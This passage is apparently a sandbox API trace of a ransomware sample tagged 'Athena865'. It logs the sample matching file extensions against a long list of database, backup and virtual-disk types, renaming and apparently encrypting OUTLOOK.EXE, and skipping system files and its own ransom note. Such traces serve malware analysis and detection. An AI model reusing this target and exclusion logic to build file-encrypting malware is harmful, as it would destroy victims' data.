(lpString="nrmlib") returned 6 [0082.775] lstrcmpiW (lpString1="OK.EXE", lpString2="nrmlib") returned 1 [0082.775] lstrlenW (lpString="ns2") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0082.775] lstrlenW (lpString="ns3") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0082.775] lstrlenW (lpString="ns4") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0082.775] lstrlenW (lpString="nsf") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0082.775] lstrlenW (lpString="nv") returned 2 [0082.775] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0082.775] lstrlenW (lpString="nv2") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0082.775] lstrlenW (lpString="nwdb") returned 4 [0082.775] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0082.775] lstrlenW (lpString="nyf") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0082.775] lstrlenW (lpString="odb") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0082.776] lstrlenW (lpString="odb") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0082.776] lstrlenW (lpString="oqy") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0082.776] lstrlenW (lpString="ora") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0082.776] lstrlenW (lpString="orx") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0082.776] lstrlenW (lpString="owc") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0082.776] lstrlenW (lpString="p96") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0082.776] lstrlenW (lpString="p97") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0082.776] lstrlenW (lpString="pan") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0082.776] lstrlenW (lpString="pdb") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0082.776] lstrlenW (lpString="pdm") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0082.776] lstrlenW (lpString="pnz") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0082.776] lstrlenW (lpString="qry") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0082.776] lstrlenW (lpString="qvd") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0082.776] lstrlenW (lpString="rbf") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0082.776] lstrlenW (lpString="rctd") returned 4 [0082.776] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0082.776] lstrlenW (lpString="rod") returned 3 [0082.776] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0082.777] lstrlenW (lpString="rodx") returned 4 [0082.777] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0082.777] lstrlenW (lpString="rpd") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0082.777] lstrlenW (lpString="rsd") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0082.777] lstrlenW (lpString="sas7bdat") returned 8 [0082.777] lstrcmpiW (lpString1="LOOK.EXE", lpString2="sas7bdat") returned -1 [0082.777] lstrlenW (lpString="sbf") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0082.777] lstrlenW (lpString="scx") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0082.777] lstrlenW (lpString="sdb") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0082.777] lstrlenW (lpString="sdc") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0082.777] lstrlenW (lpString="sdf") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0082.777] lstrlenW (lpString="sis") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0082.777] lstrlenW (lpString="spq") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0082.777] lstrlenW (lpString="te") returned 2 [0082.777] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0082.777] lstrlenW (lpString="teacher") returned 7 [0082.777] lstrcmpiW (lpString1="OOK.EXE", lpString2="teacher") returned -1 [0082.777] lstrlenW (lpString="tmd") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0082.777] lstrlenW (lpString="tps") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0082.777] lstrlenW (lpString="trc") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0082.777] lstrlenW (lpString="trc") returned 3 [0082.777] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0082.778] lstrlenW (lpString="trm") returned 3 [0082.778] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0082.778] lstrlenW (lpString="udb") returned 3 [0082.778] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0082.778] lstrlenW (lpString="udl") returned 3 [0082.778] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0082.778] lstrlenW (lpString="usr") returned 3 [0082.778] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0082.778] lstrlenW (lpString="v12") returned 3 [0082.778] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0082.778] lstrlenW (lpString="vis") returned 3 [0082.778] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0082.778] lstrlenW (lpString="vpd") returned 3 [0082.778] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0082.778] lstrlenW (lpString="vvv") returned 3 [0082.778] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0082.778] lstrlenW (lpString="wdb") returned 3 [0082.778] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0082.778] lstrlenW (lpString="wmdb") returned 4 [0082.778] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0082.778] lstrlenW (lpString="wrk") returned 3 [0082.778] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0082.778] lstrlenW (lpString="xdb") returned 3 [0082.778] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0082.778] lstrlenW (lpString="xld") returned 3 [0082.778] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0082.778] lstrlenW (lpString="xmlff") returned 5 [0082.778] lstrcmpiW (lpString1="K.EXE", lpString2="xmlff") returned -1 [0082.778] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.Athena865") returned 64 [0082.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.athena865"), dwFlags=0x1) returned 1 [0082.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.779] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24505696) returned 1 [0082.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.780] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.781] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.781] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.781] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x175f060, lpName=0x0) returned 0x154 [0082.782] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1600000, dwNumberOfBytesToMap=0x15f060) returned 0x2d50000 [0082.838] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0082.904] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0082.922] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.923] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.923] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.923] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0082.942] CloseHandle (hObject=0x154) returned 1 [0082.942] CloseHandle (hObject=0x17c) returned 1 [0082.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.956] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d147f00, ftCreationTime.dwHighDateTime=0x1cac9af, ftLastAccessTime.dwLowDateTime=0x6cc5a5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d147f00, ftLastWriteTime.dwHighDateTime=0x1cac9af, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK.EXE.MANIFEST", cAlternateFileName="OUTLOO~1.MAN")) returned 1 [0082.956] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.956] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.956] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2=".") returned 1 [0082.956] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2="..") returned 1 [0082.956] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2="windows") returned -1 [0082.956] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2="bootmgr") returned 1 [0082.956] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2="temp") returned -1 [0082.956] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2="pagefile.sys") returned -1 [0082.956] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2="boot") returned 1 [0082.957] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2="ids.txt") returned 1 [0082.957] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2="ntuser.dat") returned 1 [0082.957] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2="perflogs") returned -1 [0082.957] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2="MSBuild") returned 1 [0082.957] lstrlenW (lpString="OUTLOOK.EXE.MANIFEST") returned 20 [0082.957] lstrcpyW (in: lpString1=0x241e89e, lpString2="OUTLOOK.EXE.MANIFEST" | out: lpString1="OUTLOOK.EXE.MANIFEST") returned="OUTLOOK.EXE.MANIFEST" [0082.957] lstrlenW (lpString="OUTLOOK.EXE.MANIFEST") returned 20 [0082.957] lstrlenW (lpString="Athena865") returned 9 [0082.957] lstrcmpiW (lpString1=".MANIFEST", lpString2="Athena865") returned -1 [0082.957] lstrlenW (lpString=".dll") returned 4 [0082.957] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2=".dll") returned 1 [0082.957] lstrlenW (lpString=".lnk") returned 4 [0082.957] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2=".lnk") returned 1 [0082.957] lstrlenW (lpString=".ini") returned 4 [0082.957] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2=".ini") returned 1 [0082.957] lstrlenW (lpString=".sys") returned 4 [0082.957] lstrcmpiW (lpString1="OUTLOOK.EXE.MANIFEST", lpString2=".sys") returned 1 [0082.957] lstrlenW (lpString="OUTLOOK.EXE.MANIFEST") returned 20 [0082.957] lstrlenW (lpString="bak") returned 3 [0082.957] lstrcmpiW (lpString1="EST", lpString2="bak") returned 1 [0082.957] lstrlenW (lpString="ba_") returned 3 [0082.957] lstrcmpiW (lpString1="EST", lpString2="ba_") returned 1 [0082.957] lstrlenW (lpString="dbb") returned 3 [0082.957] lstrcmpiW (lpString1="EST", lpString2="dbb") returned 1 [0082.957] lstrlenW (lpString="vmdk") returned 4 [0082.957] lstrcmpiW (lpString1="FEST", lpString2="vmdk") returned -1 [0082.957] lstrlenW (lpString="rar") returned 3 [0082.957] lstrcmpiW (lpString1="EST", lpString2="rar") returned -1 [0082.957] lstrlenW (lpString="zip") returned 3 [0082.957] lstrcmpiW (lpString1="EST", lpString2="zip") returned -1 [0082.957] lstrlenW (lpString="tgz") returned 3 [0082.957] lstrcmpiW (lpString1="EST", lpString2="tgz") returned -1 [0082.958] lstrlenW (lpString="vbox") returned 4 [0082.958] lstrcmpiW (lpString1="FEST", lpString2="vbox") returned -1 [0082.958] lstrlenW (lpString="vdi") returned 3 [0082.958] lstrcmpiW (lpString1="EST", lpString2="vdi") returned -1 [0082.958] lstrlenW (lpString="vhd") returned 3 [0082.958] lstrcmpiW (lpString1="EST", lpString2="vhd") returned -1 [0082.958] lstrlenW (lpString="vhdx") returned 4 [0082.958] lstrcmpiW (lpString1="FEST", lpString2="vhdx") returned -1 [0082.958] lstrlenW (lpString="avhd") returned 4 [0082.958] lstrcmpiW (lpString1="FEST", lpString2="avhd") returned 1 [0082.958] lstrlenW (lpString="db") returned 2 [0082.958] lstrcmpiW (lpString1="ST", lpString2="db") returned 1 [0082.958] lstrlenW (lpString="db2") returned 3 [0082.958] lstrcmpiW (lpString1="EST", lpString2="db2") returned 1 [0082.958] lstrlenW (lpString="db3") returned 3 [0082.958] lstrcmpiW (lpString1="EST", lpString2="db3") returned 1 [0082.958] lstrlenW (lpString="dbf") returned 3 [0082.958] lstrcmpiW (lpString1="EST", lpString2="dbf") returned 1 [0082.958] lstrlenW (lpString="mdf") returned 3 [0082.958] lstrcmpiW (lpString1="EST", lpString2="mdf") returned -1 [0082.958] lstrlenW (lpString="mdb") returned 3 [0082.958] lstrcmpiW (lpString1="EST", lpString2="mdb") returned -1 [0082.958] lstrlenW (lpString="sql") returned 3 [0082.958] lstrcmpiW (lpString1="EST", lpString2="sql") returned -1 [0082.958] lstrlenW (lpString="sqlite") returned 6 [0082.958] lstrcmpiW (lpString1="NIFEST", lpString2="sqlite") returned -1 [0082.958] lstrlenW (lpString="sqlite3") returned 7 [0082.958] lstrcmpiW (lpString1="ANIFEST", lpString2="sqlite3") returned -1 [0082.958] lstrlenW (lpString="sqlitedb") returned 8 [0082.958] lstrcmpiW (lpString1="MANIFEST", lpString2="sqlitedb") returned -1 [0082.958] lstrlenW (lpString="xml") returned 3 [0082.958] lstrcmpiW (lpString1="EST", lpString2="xml") returned -1 [0082.958] lstrlenW (lpString="$er") returned 3 [0082.959] lstrcmpiW (lpString1="EST", lpString2="$er") returned 1 [0082.959] lstrlenW (lpString="4dd") returned 3 [0082.959] lstrcmpiW (lpString1="EST", lpString2="4dd") returned 1 [0082.959] lstrlenW (lpString="4dl") returned 3 [0082.959] lstrcmpiW (lpString1="EST", lpString2="4dl") returned 1 [0082.959] lstrlenW (lpString="^^^") returned 3 [0082.959] lstrcmpiW (lpString1="EST", lpString2="^^^") returned 1 [0082.959] lstrlenW (lpString="abs") returned 3 [0082.959] lstrcmpiW (lpString1="EST", lpString2="abs") returned 1 [0082.959] lstrlenW (lpString="abx") returned 3 [0082.959] lstrcmpiW (lpString1="EST", lpString2="abx") returned 1 [0082.959] lstrlenW (lpString="accdb") returned 5 [0082.959] lstrcmpiW (lpString1="IFEST", lpString2="accdb") returned 1 [0082.959] lstrlenW (lpString="accdc") returned 5 [0082.959] lstrcmpiW (lpString1="IFEST", lpString2="accdc") returned 1 [0082.959] lstrlenW (lpString="accde") returned 5 [0082.959] lstrcmpiW (lpString1="IFEST", lpString2="accde") returned 1 [0082.959] lstrlenW (lpString="accdr") returned 5 [0082.959] lstrcmpiW (lpString1="IFEST", lpString2="accdr") returned 1 [0082.959] lstrlenW (lpString="accdt") returned 5 [0082.959] lstrcmpiW (lpString1="IFEST", lpString2="accdt") returned 1 [0082.959] lstrlenW (lpString="accdw") returned 5 [0082.959] lstrcmpiW (lpString1="IFEST", lpString2="accdw") returned 1 [0082.959] lstrlenW (lpString="accft") returned 5 [0082.959] lstrcmpiW (lpString1="IFEST", lpString2="accft") returned 1 [0082.959] lstrlenW (lpString="adb") returned 3 [0082.959] lstrcmpiW (lpString1="EST", lpString2="adb") returned 1 [0082.959] lstrlenW (lpString="adb") returned 3 [0082.959] lstrcmpiW (lpString1="EST", lpString2="adb") returned 1 [0082.959] lstrlenW (lpString="ade") returned 3 [0082.959] lstrcmpiW (lpString1="EST", lpString2="ade") returned 1 [0082.959] lstrlenW (lpString="adf") returned 3 [0082.959] lstrcmpiW (lpString1="EST", lpString2="adf") returned 1 [0082.960] lstrlenW (lpString="adn") returned 3 [0082.960] lstrcmpiW (lpString1="EST", lpString2="adn") returned 1 [0082.960] lstrlenW (lpString="adp") returned 3 [0082.960] lstrcmpiW (lpString1="EST", lpString2="adp") returned 1 [0082.960] lstrlenW (lpString="alf") returned 3 [0082.960] lstrcmpiW (lpString1="EST", lpString2="alf") returned 1 [0082.960] lstrlenW (lpString="ask") returned 3 [0082.960] lstrcmpiW (lpString1="EST", lpString2="ask") returned 1 [0082.960] lstrlenW (lpString="btr") returned 3 [0082.960] lstrcmpiW (lpString1="EST", lpString2="btr") returned 1 [0082.960] lstrlenW (lpString="cat") returned 3 [0082.960] lstrcmpiW (lpString1="EST", lpString2="cat") returned 1 [0082.960] lstrlenW (lpString="cdb") returned 3 [0082.960] lstrcmpiW (lpString1="EST", lpString2="cdb") returned 1 [0082.960] lstrlenW (lpString="ckp") returned 3 [0082.960] lstrcmpiW (lpString1="EST", lpString2="ckp") returned 1 [0082.960] lstrlenW (lpString="cma") returned 3 [0082.960] lstrcmpiW (lpString1="EST", lpString2="cma") returned 1 [0082.960] lstrlenW (lpString="cpd") returned 3 [0082.960] lstrcmpiW (lpString1="EST", lpString2="cpd") returned 1 [0082.960] lstrlenW (lpString="dacpac") returned 6 [0082.960] lstrcmpiW (lpString1="NIFEST", lpString2="dacpac") returned 1 [0082.960] lstrlenW (lpString="dad") returned 3 [0082.960] lstrcmpiW (lpString1="EST", lpString2="dad") returned 1 [0082.960] lstrlenW (lpString="dadiagrams") returned 10 [0082.960] lstrcmpiW (lpString1="E.MANIFEST", lpString2="dadiagrams") returned 1 [0082.960] lstrlenW (lpString="daschema") returned 8 [0082.960] lstrcmpiW (lpString1="MANIFEST", lpString2="daschema") returned 1 [0082.960] lstrlenW (lpString="db-journal") returned 10 [0082.960] lstrcmpiW (lpString1="E.MANIFEST", lpString2="db-journal") returned 1 [0082.960] lstrlenW (lpString="db-shm") returned 6 [0082.960] lstrcmpiW (lpString1="NIFEST", lpString2="db-shm") returned 1 [0082.960] lstrlenW (lpString="db-wal") returned 6 [0082.961] lstrcmpiW (lpString1="NIFEST", lpString2="db-wal") returned 1 [0082.961] lstrlenW (lpString="dbc") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dbc") returned 1 [0082.961] lstrlenW (lpString="dbs") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dbs") returned 1 [0082.961] lstrlenW (lpString="dbt") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dbt") returned 1 [0082.961] lstrlenW (lpString="dbv") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dbv") returned 1 [0082.961] lstrlenW (lpString="dbx") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dbx") returned 1 [0082.961] lstrlenW (lpString="dcb") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dcb") returned 1 [0082.961] lstrlenW (lpString="dct") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dct") returned 1 [0082.961] lstrlenW (lpString="dcx") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dcx") returned 1 [0082.961] lstrlenW (lpString="ddl") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="ddl") returned 1 [0082.961] lstrlenW (lpString="dlis") returned 4 [0082.961] lstrcmpiW (lpString1="FEST", lpString2="dlis") returned 1 [0082.961] lstrlenW (lpString="dp1") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dp1") returned 1 [0082.961] lstrlenW (lpString="dqy") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dqy") returned 1 [0082.961] lstrlenW (lpString="dsk") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dsk") returned 1 [0082.961] lstrlenW (lpString="dsn") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dsn") returned 1 [0082.961] lstrlenW (lpString="dtsx") returned 4 [0082.961] lstrcmpiW (lpString1="FEST", lpString2="dtsx") returned 1 [0082.961] lstrlenW (lpString="dxl") returned 3 [0082.961] lstrcmpiW (lpString1="EST", lpString2="dxl") returned 1 [0082.962] lstrlenW (lpString="eco") returned 3 [0082.962] lstrcmpiW (lpString1="EST", lpString2="eco") returned 1 [0082.962] lstrlenW (lpString="ecx") returned 3 [0082.962] lstrcmpiW (lpString1="EST", lpString2="ecx") returned 1 [0082.962] lstrlenW (lpString="edb") returned 3 [0082.962] lstrcmpiW (lpString1="EST", lpString2="edb") returned 1 [0082.962] lstrlenW (lpString="epim") returned 4 [0082.962] lstrcmpiW (lpString1="FEST", lpString2="epim") returned 1 [0082.962] lstrlenW (lpString="fcd") returned 3 [0082.962] lstrcmpiW (lpString1="EST", lpString2="fcd") returned -1 [0082.962] lstrlenW (lpString="fdb") returned 3 [0082.962] lstrcmpiW (lpString1="EST", lpString2="fdb") returned -1 [0082.962] lstrlenW (lpString="fic") returned 3 [0082.962] lstrcmpiW (lpString1="EST", lpString2="fic") returned -1 [0082.962] lstrlenW (lpString="flexolibrary") returned 12 [0082.962] lstrcmpiW (lpString1="EXE.MANIFEST", lpString2="flexolibrary") returned -1 [0082.962] lstrlenW (lpString="fm5") returned 3 [0082.962] lstrcmpiW (lpString1="EST", lpString2="fm5") returned -1 [0082.962] lstrlenW (lpString="fmp") returned 3 [0082.962] lstrcmpiW (lpString1="EST", lpString2="fmp") returned -1 [0082.962] lstrlenW (lpString="fmp12") returned 5 [0082.962] lstrcmpiW (lpString1="IFEST", lpString2="fmp12") returned 1 [0082.962] lstrlenW (lpString="fmpsl") returned 5 [0082.962] lstrcmpiW (lpString1="IFEST", lpString2="fmpsl") returned 1 [0082.962] lstrlenW (lpString="fol") returned 3 [0082.962] lstrcmpiW (lpString1="EST", lpString2="fol") returned -1 [0082.962] lstrlenW (lpString="fp3") returned 3 [0082.962] lstrcmpiW (lpString1="EST", lpString2="fp3") returned -1 [0082.962] lstrlenW (lpString="fp4") returned 3 [0082.962] lstrcmpiW (lpString1="EST", lpString2="fp4") returned -1 [0082.962] lstrlenW (lpString="fp5") returned 3 [0082.962] lstrcmpiW (lpString1="EST", lpString2="fp5") returned -1 [0082.962] lstrlenW (lpString="fp7") returned 3 [0082.963] lstrcmpiW (lpString1="EST", lpString2="fp7") returned -1 [0082.963] lstrlenW (lpString="fpt") returned 3 [0082.963] lstrcmpiW (lpString1="EST", lpString2="fpt") returned -1 [0082.963] lstrlenW (lpString="frm") returned 3 [0082.963] lstrcmpiW (lpString1="EST", lpString2="frm") returned -1 [0082.963] lstrlenW (lpString="gdb") returned 3 [0082.964] lstrcmpiW (lpString1="EST", lpString2="gdb") returned -1 [0082.964] lstrlenW (lpString="gdb") returned 3 [0082.964] lstrcmpiW (lpString1="EST", lpString2="gdb") returned -1 [0082.964] lstrlenW (lpString="grdb") returned 4 [0082.964] lstrcmpiW (lpString1="FEST", lpString2="grdb") returned -1 [0082.964] lstrlenW (lpString="gwi") returned 3 [0082.964] lstrcmpiW (lpString1="EST", lpString2="gwi") returned -1 [0082.964] lstrlenW (lpString="hdb") returned 3 [0082.964] lstrcmpiW (lpString1="EST", lpString2="hdb") returned -1 [0082.964] lstrlenW (lpString="his") returned 3 [0082.964] lstrcmpiW (lpString1="EST", lpString2="his") returned -1 [0082.964] lstrlenW (lpString="ib") returned 2 [0082.964] lstrcmpiW (lpString1="ST", lpString2="ib") returned 1 [0082.964] lstrlenW (lpString="idb") returned 3 [0082.964] lstrcmpiW (lpString1="EST", lpString2="idb") returned -1 [0082.964] lstrlenW (lpString="ihx") returned 3 [0082.964] lstrcmpiW (lpString1="EST", lpString2="ihx") returned -1 [0082.964] lstrlenW (lpString="itdb") returned 4 [0082.964] lstrcmpiW (lpString1="FEST", lpString2="itdb") returned -1 [0082.964] lstrlenW (lpString="itw") returned 3 [0082.964] lstrcmpiW (lpString1="EST", lpString2="itw") returned -1 [0082.964] lstrlenW (lpString="jet") returned 3 [0082.964] lstrcmpiW (lpString1="EST", lpString2="jet") returned -1 [0082.964] lstrlenW (lpString="jtx") returned 3 [0082.964] lstrcmpiW (lpString1="EST", lpString2="jtx") returned -1 [0082.964] lstrlenW (lpString="kdb") returned 3 [0082.965] lstrcmpiW (lpString1="EST", lpString2="kdb") returned -1 [0082.965] lstrlenW (lpString="kexi") returned 4 [0082.965] lstrcmpiW (lpString1="FEST", lpString2="kexi") returned -1 [0082.965] lstrlenW (lpString="kexic") returned 5 [0082.965] lstrcmpiW (lpString1="IFEST", lpString2="kexic") returned -1 [0082.965] lstrlenW (lpString="kexis") returned 5 [0082.965] lstrcmpiW (lpString1="IFEST", lpString2="kexis") returned -1 [0082.965] lstrlenW (lpString="lgc") returned 3 [0082.965] lstrcmpiW (lpString1="EST", lpString2="lgc") returned -1 [0082.965] lstrlenW (lpString="lwx") returned 3 [0082.965] lstrcmpiW (lpString1="EST", lpString2="lwx") returned -1 [0082.965] lstrlenW (lpString="maf") returned 3 [0082.965] lstrcmpiW (lpString1="EST", lpString2="maf") returned -1 [0082.965] lstrlenW (lpString="maq") returned 3 [0082.965] lstrcmpiW (lpString1="EST", lpString2="maq") returned -1 [0082.965] lstrlenW (lpString="mar") returned 3 [0082.965] lstrcmpiW (lpString1="EST", lpString2="mar") returned -1 [0082.965] lstrlenW (lpString="marshal") returned 7 [0082.965] lstrcmpiW (lpString1="ANIFEST", lpString2="marshal") returned -1 [0082.965] lstrlenW (lpString="mas") returned 3 [0082.965] lstrcmpiW 